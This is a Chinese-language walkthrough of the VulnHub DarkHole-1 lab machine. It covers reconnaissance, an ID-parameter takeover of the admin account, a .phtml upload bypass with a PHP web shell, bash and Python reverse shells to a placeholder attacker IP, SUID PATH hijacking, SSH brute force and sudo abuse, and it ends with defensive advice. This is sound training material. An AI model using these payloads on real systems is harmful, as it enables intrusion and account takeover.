VulnHub靶机之DarkHole-1
字数 1348 2025-08-10 19:49:05

DarkHole-1 靶机渗透测试教学文档

1. 信息收集阶段

1.1 端口扫描

使用nmap进行扫描:

  • 快速扫描:nmap -T4 -A -v <target_ip>
  • 深度扫描:nmap -sV -sC -O -p- <target_ip>

扫描结果:

  • 开放端口:
    • 80/tcp (HTTP, Apache 2.4.41)
    • 22/tcp (SSH)
  • 系统信息:Ubuntu, Linux内核

1.2 目录扫描

使用工具如dirsearch或gobuster进行目录扫描:

dirsearch -u http://<target_ip> -e *

1.3 网页源码分析

主页源代码分析:

  • 仅有一个外链指向登录功能
  • 存在admin用户提示

1.4 SQL注入测试

尝试使用sqlmap进行注入测试:

sqlmap -r request.txt -p username,password --dbs --tamper=space2comment

结果:未发现明显注入点

2. 威胁建模与漏洞利用

2.1 用户注册与越权漏洞

  1. 注册普通用户
  2. 登录后发现页面显示用户ID
  3. 使用Burp Suite抓包修改密码请求
  4. 修改ID参数为admin的ID
  5. 成功修改admin密码

2.2 文件上传漏洞

  1. 以admin身份登录后发现文件上传功能
  2. 测试上传普通文件(如txt)确认功能正常
  3. 尝试上传Web Shell:
    • 初始尝试php后缀被拦截
    • 尝试多种后缀绕过:php, php2, php3, phtml等
    • 发现phtml后缀可被解析

上传的Web Shell示例:

<?php system($_GET['cmd']); ?>

2.3 获取初始访问

  1. 使用蚁剑连接上传的Web Shell
  2. 或使用PHP代码建立反弹Shell:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'"); ?>

3. 权限提升

3.1 系统信息收集

  1. 查询用户信息:cat /etc/passwd
  2. 查询系统内核:uname -a
  3. 检查SUID权限文件:
find / -perm -u=s -type f 2>/dev/null

发现可疑文件:/home/john/toto

3.2 利用toto文件提权

  1. 分析toto文件功能:以root权限执行id命令
  2. 创建恶意id文件:
echo "/bin/bash -ip" > /tmp/id
chmod +x /tmp/id
  1. 修改PATH环境变量:
export PATH=/tmp:$PATH
  1. 执行toto文件获取john用户权限

3.3 SSH暴力破解

使用hydra破解SSH密码:

hydra -l john -P /usr/share/wordlists/rockyou.txt ssh://<target_ip>

发现密码:root123

3.4 最终提权到root

  1. 检查sudo权限:
sudo -l

发现可以root权限执行:

/usr/bin/python3 /home/john/file.py
  1. 创建恶意Python脚本(file.py):
import os,pty,socket
s=socket.socket()
s.connect(("<attacker_ip>",4444))
[os.dup2(s.fileno(),f)for f in(0,1,2)]
pty.spawn("bash")
  1. 执行提权:
sudo /usr/bin/python3 /home/john/file.py

4. 关键知识点总结

4.1 渗透测试流程

  1. 信息收集 → 威胁建模 → 漏洞利用 → 权限提升 → 维持访问

4.2 重要技术点

  1. 越权漏洞利用

    • 通过修改ID参数实现水平/垂直越权
    • Burp Suite抓包修改关键参数
  2. 文件上传绕过

    • 尝试多种后缀名绕过过滤
    • phtml等非常见后缀可能被解析
  3. 权限提升技巧

    • SUID文件利用
    • PATH环境变量劫持
    • sudo权限滥用
  4. 敏感文件查找

    • 使用find命令查找特殊权限文件
    • 检查/etc/passwd获取用户信息

4.3 经验教训

  1. 页面显示admin用户提示应引起注意
  2. ID参数暴露可能导致越权漏洞
  3. 文件上传功能需测试多种绕过方式
  4. 系统内部文件权限配置不当可能导致提权

5. 防御建议

  1. Web应用安全

    • 实施严格的权限验证
    • 对用户输入进行严格过滤
    • 限制文件上传类型,使用白名单机制
  2. 系统安全

    • 避免不必要的SUID权限设置
    • 限制sudo权限范围
    • 定期审计系统文件和权限
  3. 安全监控

    • 监控异常登录行为
    • 记录关键操作日志
    • 实施文件完整性监控
DarkHole-1 靶机渗透测试教学文档 1. 信息收集阶段 1.1 端口扫描 使用nmap进行扫描: 快速扫描: nmap -T4 -A -v <target_ip> 深度扫描: nmap -sV -sC -O -p- <target_ip> 扫描结果: 开放端口: 80/tcp (HTTP, Apache 2.4.41) 22/tcp (SSH) 系统信息:Ubuntu, Linux内核 1.2 目录扫描 使用工具如dirsearch或gobuster进行目录扫描: 1.3 网页源码分析 主页源代码分析: 仅有一个外链指向登录功能 存在admin用户提示 1.4 SQL注入测试 尝试使用sqlmap进行注入测试: 结果:未发现明显注入点 2. 威胁建模与漏洞利用 2.1 用户注册与越权漏洞 注册普通用户 登录后发现页面显示用户ID 使用Burp Suite抓包修改密码请求 修改ID参数为admin的ID 成功修改admin密码 2.2 文件上传漏洞 以admin身份登录后发现文件上传功能 测试上传普通文件(如txt)确认功能正常 尝试上传Web Shell: 初始尝试php后缀被拦截 尝试多种后缀绕过:php, php2, php3, phtml等 发现phtml后缀可被解析 上传的Web Shell示例: 2.3 获取初始访问 使用蚁剑连接上传的Web Shell 或使用PHP代码建立反弹Shell: 3. 权限提升 3.1 系统信息收集 查询用户信息: cat /etc/passwd 查询系统内核: uname -a 检查SUID权限文件: 发现可疑文件: /home/john/toto 3.2 利用toto文件提权 分析toto文件功能:以root权限执行id命令 创建恶意id文件: 修改PATH环境变量: 执行toto文件获取john用户权限 3.3 SSH暴力破解 使用hydra破解SSH密码: 发现密码:root123 3.4 最终提权到root 检查sudo权限: 发现可以root权限执行: 创建恶意Python脚本(file.py): 执行提权: 4. 关键知识点总结 4.1 渗透测试流程 信息收集 → 威胁建模 → 漏洞利用 → 权限提升 → 维持访问 4.2 重要技术点 越权漏洞利用 : 通过修改ID参数实现水平/垂直越权 Burp Suite抓包修改关键参数 文件上传绕过 : 尝试多种后缀名绕过过滤 phtml等非常见后缀可能被解析 权限提升技巧 : SUID文件利用 PATH环境变量劫持 sudo权限滥用 敏感文件查找 : 使用find命令查找特殊权限文件 检查/etc/passwd获取用户信息 4.3 经验教训 页面显示admin用户提示应引起注意 ID参数暴露可能导致越权漏洞 文件上传功能需测试多种绕过方式 系统内部文件权限配置不当可能导致提权 5. 防御建议 Web应用安全 : 实施严格的权限验证 对用户输入进行严格过滤 限制文件上传类型,使用白名单机制 系统安全 : 避免不必要的SUID权限设置 限制sudo权限范围 定期审计系统文件和权限 安全监控 : 监控异常登录行为 记录关键操作日志 实施文件完整性监控